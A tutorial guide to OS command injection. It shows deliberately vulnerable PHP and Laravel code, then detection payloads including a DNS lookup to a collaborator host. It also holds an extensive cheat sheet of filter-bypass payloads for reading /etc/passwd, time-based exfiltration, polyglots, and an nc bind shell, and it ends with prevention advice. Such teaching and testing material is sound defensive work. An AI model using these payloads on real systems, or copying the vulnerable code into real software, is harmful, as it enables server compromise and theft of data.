OS Command Injection Complete Guide

Eyad Islam El-Taher

June 2, 2026

Contents

1 What is OS Command Injection

1.1 Definition

OS command injection (also known as shell injection) is a vulnerability that allows an attacker to execute operating system (OS) commands on the server running an application. This typically leads to full compromise of the application and its data.

1.2 Impact

An attacker can leverage OS command injection to:

- Execute arbitrary commands on the server
- Read, write, and delete sensitive files
- Compromise other parts of the hosting infrastructure
- Use trust relationships to pivot to other systems
- Install backdoors and malware
- Completely take over the server

1.3 How It Works

When an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell, command injection can occur.

Core Concept

The application constructs a system command using user input without proper validation or sanitization. The attacker injects shell metacharacters to modify the command's behavior.

1.4 Example Scenario

Consider a shopping application that lets users view whether an item is in stock:

```
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

The application calls a shell command:

```
stockreport.pl 381 29
```

An attacker submits:

```
https://insecure-website.com/stockStatus?productID=381&echo+injected&storeID
=29
```

The executed command becomes:

```
stockreport.pl & echo injected & 29
```

2 Where to Find OS Command Injection

2.1 Common Locations

- Ping or network diagnostic tools
- File upload/download functionality
- Email sending features
- System monitoring interfaces
- Backup and restore functions
- Log viewing/exporting features
- Archive extraction (zip, tar, etc.)
- PDF generation from templates
- Image processing (converting, resizing)
- DNS lookup tools

2.2 Common Parameter Names

- ping
- host
- ip
- address
- domain
- url
- file
- path
- cmd
- command
- exec
- system
- shell
- output
- log
- backup
- restore

3 Vulnerable Code Examples

3.1 PHP Command Injection

```php
<?php
// Example 1: Direct system call with user input
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

// Example 2: Using exec
$file = $_GET['file'];
exec("cat " . $file, $output);
print_r($output);

// Example 3: Using shell_exec
$domain = $_GET['domain'];
$result = shell_exec("nslookup " . $domain);
echo $result;

```

```php
// Example 4: Using passthru
$cmd = $_GET['cmd'];
passthru($cmd);

// Example 5: Using backticks
$host = $_GET['host'];
$output = `ping -c 4 $host`;
echo $output;
?>
```

Listing 1: Vulnerable PHP Code

3.2 Laravel Command Injection

```php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Process;

class DiagnosticController extends Controller
{
    // Vulnerable: Direct command execution
    public function ping(Request $request)
    {
        $ip = $request->input('ip');
        // Dangerous: User input directly in command
        $output = shell_exec("ping -c 4 " . $ip);
        return view('ping', ['output' => $output]);
    }

    // Vulnerable: Using Process facade
    public function scan(Request $request)
    {
        $host = $request->input('host');
        // Dangerous: No input validation
        $process = Process::run("nmap -sP " . $host);
        return $process->output();
    }

    // Vulnerable: Artisan command execution
    public function backup(Request $request)
    {
        $db = $request->input('database');
        // Dangerous: Command injection via custom Artisan command
        \Artisan::call("db:backup --database={$db}");
        return "Backup completed";
    }
}
?>
```

Listing 2: Vulnerable Laravel Code

3.3 Attack Example

```
# Normal request
GET /ping.php?ip=8.8.8.8 HTTP/1.1

# Malicious request
GET /ping.php?ip=8.8.8.8;%20cat%20/etc/passwd HTTP/1.1

# The executed command becomes:
ping -c 4 8.8.8.8; cat /etc/passwd
```

4 Detection of OS Command Injection

4.1 Basic Detection Payloads

```
# Simple echo test (in-band)
; echo test
| echo test
|| echo test
& echo test
&& echo test

# Time delay test (blind)
; sleep 5
| sleep 5
|| sleep 5
& sleep 5
&& sleep 5

# DNS exfiltration test (blind)
; nslookup test.collaborator.com
| nslookup test.collaborator.com
```

4.2 Command Separators

Separator	Description	Example
;	Execute sequentially	`cmd1; cmd2`
&	Execute in background	`cmd1 \& cmd2`
&&	Execute if previous succeeds	`cmd1 \&\& cmd2`
|	Pipe output	`cmd1` | cmd2—
||	Execute if previous fails	`cmd1` — cmd2—
\n	Newline	`cmd1\ncmd2`

4.3 Detection Steps

1. Identify input parameters
2. Submit command separators (;, &, —, etc.)
3. Observe response for changes
4. Test with benign commands (echo, ping, sleep)
5. Check for time delays (blind injection)
6. Monitor out-of-band interactions

5 When to Search for Command Injection

5.1 Indicators

Look for command injection when:

- Application interacts with system commands
- Network diagnostic features (ping, traceroute, nslookup)
- File operations with user-supplied filenames
- Email functionality with user-controlled addresses
- Archive extraction with user-supplied archive names
- Log viewing/exporting features
- System monitoring interfaces

6 Filter Bypasses

6.1 Bypass Without Space

Technique	Example
${IFS}	cat${IFS}/etc/passwd
$IFS	cat$IFS/etc/passwd
Brace expansion	{cat,/etc/passwd}
Input redirection	cat</etc/passwd
Tab character	cat%09/etc/passwd
ANSI-C quoting	X=$'uname\x20-a' \&\& $X
Windows substring	ping%CommonProgramFiles:~10,-18%127.0.0.1

6.2 Bypass With A Line Return

```
# Commands can be run in sequence with newlines
original_cmd_by_server
ls
whoami
```

6.3 Bypass With Backslash Newline

```
# Commands broken into parts using backslash + newline
$ cat /et\
c/pa\
sswd

# URL encoded form
cat%20/et%5C%0Ac/pa%5C%0Asswd
```

6.4 Bypass With Tilde Expansion

```
echo ~+       # Current directory
echo ~-       # Previous directory
cd ~          # Home directory
```

6.5 Bypass With Brace Expansion

```
{,ls,-la}
{,ifconfig}
{,ifconfig,eth0}
{,/usr/bin/id}
{cat,/etc/passwd}
```

6.6 Bypass Characters Filter

```
# Generate slash using HOME variable
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

# Using tr to generate slash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

6.7 Bypass Characters Filter Via Hex Encoding

```
# Using echo -e
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

# Using variable
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc

# Using xxd
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
```

6.8 Bypass With Single Quote

```
w'h'o'am'i
wh''oami
'w'hoami
whoa'm'i
```

6.9 Bypass With Double Quote

```
w"h"o"am"i
wh""oami
"wh"oami
who"am"i
```

6.10 Bypass With Backticks

```
wh``oami
who`echo am`i
`echo whoami`
```

6.11 Bypass With Backslash and Slash

```
w\ho\am\i
/\b\i\n/////s\h
c\a\t /e\t\c\/p\a\s\s\w\d
```

6.12 Bypass With $@

```
who$@ami
who$*ami
echo whoami|$0
```

6.13 Bypass With $()

```
who$()ami
who$(echo am)i
who`echo am`i
$(echo whoami)
```

6.14 Bypass With Variable Expansion

```
# Using wildcards
/???/??t /???/p??s??
/???/cat /???/passwd

# Using variable substitution
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

6.15 Bypass With Wildcards

```
# Linux
/bin/cat /etc/passwd
/???/??t /???/p??s??
/???/cat /???/passwd

# Windows (PowerShell)
powershell C:\*\*2\n??e*d.*?    # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e  # calc
```

6.16 Bypass With Random Case

Windows Only

Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths.

```
wHoAmI
WHoami
whoAMI
cMd
cAlC
```

7 Data Exfiltration

7.1 Time Based Data Exfiltration

Extract data character by character and detect correct values based on delay:

```
# Check if first character of username is 's' (true - 5 second delay)
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s

# Check if first character of username is 'a' (false - no delay)
time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s

# Complete extraction script
for i in $(seq 1 20); do
    for c in {a..z}; do
        if [ $(whoami|cut -c $i) == $c ]; then
            echo "Character $i: $c"
            break
        fi
    done
done
```

8 Polyglot Command Injection

A polyglot is code that is valid and executable in multiple contexts simultaneously.

8.1 Example 1

```
# Polyglot payload
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Works in different contexts:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```

8.2 Example 2

```
# Advanced polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||
   sleep(5)||"/*`*/

# Works in comments and quoted contexts
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)
   ||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-
   sleep(5)||'"||sleep(5)||"/*`*/"
```

9 Tricks

9.1 Backgrounding Long Running Commands

Sometimes long-running commands get killed when the parent process times out. Use `nohup` to keep processes running:

```
# Keep process running after parent exits
nohup sleep 120 > /dev/null &
nohup python -m http.server 8080 > /dev/null &
nohup nc -lvp 4444 -e /bin/bash > /dev/null &
```

9.2 Remove Arguments After Injection

In Unix-like systems, `--` signifies the end of command options:

```
# Original command
command -- user-input

# After injection
command -- --help
command -- ; whoami
command -- && id
```

10 Examples

10.1 Example 1: Simple Command Injection

```
GET /stockStatus?productID=381&echo+injected&storeID=29 HTTP/1.1
Host: vulnerable.com

# Response shows "injected" in output
Error - productID was not provided
injected
29: command not found
```

10.2 Example 2: Blind Time Delay

```
POST /feedback HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded

email=x||ping+-c+10+127.0.0.1||&message=test

# Response takes 10 seconds to return
```

10.3 Example 3: Output Redirection

```
# Inject command that writes output to web root
& whoami > /var/www/static/whoami.txt &

# Retrieve the output
GET /whoami.txt HTTP/1.1
Host: vulnerable.com

Response: www-data
```

11 Methodology

11.1 Testing Workflow

1. **Identify input vectors**
   - All parameters (GET, POST, cookies, headers)
   - File uploads (filenames)
   - API endpoints
2. **Test command separators**
   - Submit `;`, `&`, `|`, `||`, `&&`
   - Observe error messages or behavior changes
3. **Test benign commands**
   - `echo test123`
   - `sleep 5` (time delay)

- `nslookup collaborator.com` (OOB)

4. **Extract information**
   - In-band: Read command output directly
   - Blind: Use time delays or DNS exfiltration
5. **Escalate privilege**
   - Write web shells
   - Create reverse shells
   - Extract sensitive files

11.2 Testing Checklist

Test	Status
Identify all input parameters	☐
Test command separators (;, &, —)	☐
Test echo payload for in-band detection	☐
Test sleep payload for time delay	☐
Test DNS exfiltration payload	☐
Test output redirection to web root	☐
Test space bypass techniques	☐
Test character filter bypasses	☐
Extract current username	☐
Extract system information	☐
Read sensitive files	☐
Establish reverse shell	☐

12 Prevention and Mitigation

12.1 Primary Prevention Strategies

The Golden Rule

The most effective way to prevent OS command injection vulnerabilities is to **never call out to OS commands from application-layer code** when user input is involved.

12.2 Use Safe APIs Instead

```php
// BAD: Calling system command
system("ping -c 4 " . $ip);

// GOOD: Use PHP's built-in functions
$socket = socket_create(AF_INET, SOCK_RAW, 1);
// or use filter_var with FILTER_VALIDATE_IP

// BAD: Using exec for file operations
exec("cat " . $filename);

// GOOD: Use PHP's file functions
$content = file_get_contents($filename);
```

12.3 Input Validation (Whitelist)

```php
<?php
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    system("ping -c 4 " . escapeshellcmd($ip));
} else {
    die("Invalid IP address");
}

// Validate alphanumeric input
if (ctype_alnum($username)) {
    system("finger " . escapeshellcmd($username));
} else {
    die("Invalid username");
}

// Whitelist allowed values
$allowed_commands = ['ping', 'traceroute', 'nslookup'];
if (in_array($command, $allowed_commands)) {
    system($command . " " . escapeshellarg($target));
}
?>
```

12.4 Laravel Specific Prevention

```php
<?php
use Illuminate\Support\Facades\Process;
use Illuminate\Validation\Rule;

class DiagnosticController extends Controller
{
    public function ping(Request $request)
    {
        // Validate input
        $validated = $request->validate([
            'ip' => 'required|ipv4'
        ]);

        // Use escapeshellcmd for additional safety
        $ip = escapeshellcmd($validated['ip']);

        // Alternative: Use Process facade with array syntax (safer)
        $process = Process::run(['ping', '-c', '4', $ip]);

        return $process->output();
    }

    public function backup(Request $request)
    {
        // Use validation rule with whitelist
        $request->validate([
            'database' => ['required', Rule::in(['main', 'logs', 'cache'])]
        ]);

```

```
        // Now safe to use
        \Artisan::call("db:backup --database={$request->database}");
    }
}
?>
```

12.5 Escaping Functions

Language	Escaping Function
PHP	escapeshellarg(), escapeshellcmd()
Python	shlex.quote()
Java	ProcessBuilder (handles escaping automatically)
Node.js	execFile() instead of exec()
Ruby	Shellwords.escape()

12.6 Use Parameterized Commands

```
# Python - BAD
import os
os.system(f"ping -c 4 {user_input}")

# Python - GOOD (uses array to avoid shell interpretation)
import subprocess
subprocess.run(["ping", "-c", "4", user_input])

# Node.js - BAD
const { exec } = require('child_process');
exec(`ping -c 4 ${userInput}`);

# Node.js - GOOD
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput]);
```

Key Takeaway

The most effective prevention is to avoid calling OS commands altogether. When unavoidable:

1. Whitelist allowed inputs
2. Validate input format
3. Use escapeshellarg()/escapeshellcmd()
4. Run with least privilege
5. Log suspicious attempts

Remember

Never attempt to sanitize input by blacklisting dangerous characters. Attackers are creative and will find ways to bypass your filters. Always use whitelisting and proper escaping functions.